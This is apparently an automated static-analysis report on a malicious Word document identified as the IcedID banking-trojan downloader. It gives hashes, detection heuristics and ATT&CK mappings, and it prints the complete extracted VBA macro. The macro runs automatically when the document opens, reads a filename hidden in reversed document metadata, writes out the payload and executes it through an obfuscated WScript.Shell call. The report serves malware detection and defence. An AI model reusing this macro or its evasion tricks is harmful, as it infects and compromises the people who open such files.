IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 ff9f84d1449ce5a1…

MALICIOUS

Office (OOXML)

34.4 KB Created: 2021-11-01 04:41:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-20
MD5: b3a4f03762aaaa70e01ebb81228aeba5 SHA-1: ba865180bb76ad7419d85f710d81720b8adc6518 SHA-256: ff9f84d1449ce5a17b584d31a2189e91f27e578be24d062975777eb0986b1e02
202 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically a Document_Open macro that utilizes CreateObject to execute a script. The ClamAV heuristic identifies it as IcedID, a known banking trojan. The VBA script reconstructs a filename 'loveLoad' and uses a function 's' to execute it via 'explorer.exe', indicating it's a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1006 bytes
SHA-256: 71aa80b84389795074cde5a0c59512580e01647ea29a328c4578b533a2b0e13d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
powPowLove = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(powPowLove)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=girlLoadPow, Replace:=wdReplaceAll
End Function
Public Function s(youGirl, youDoorLove)
Set powTubeLove = CreateObject("wscr" + youDoorLove + "ell")
powTubeLove.exec "explorer.exe " & youGirl
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(dowPowLoad)
Dim likeTube As String
likeTube = ""
loveLoad = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=loveLoad, FileFormat:=wdFormatText
ThisDocument.s loveLoad, "ipt.sh"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 049f04996cc5a35fe403ebdb59f6359439f1bca540637556463a3e9c6e6218cf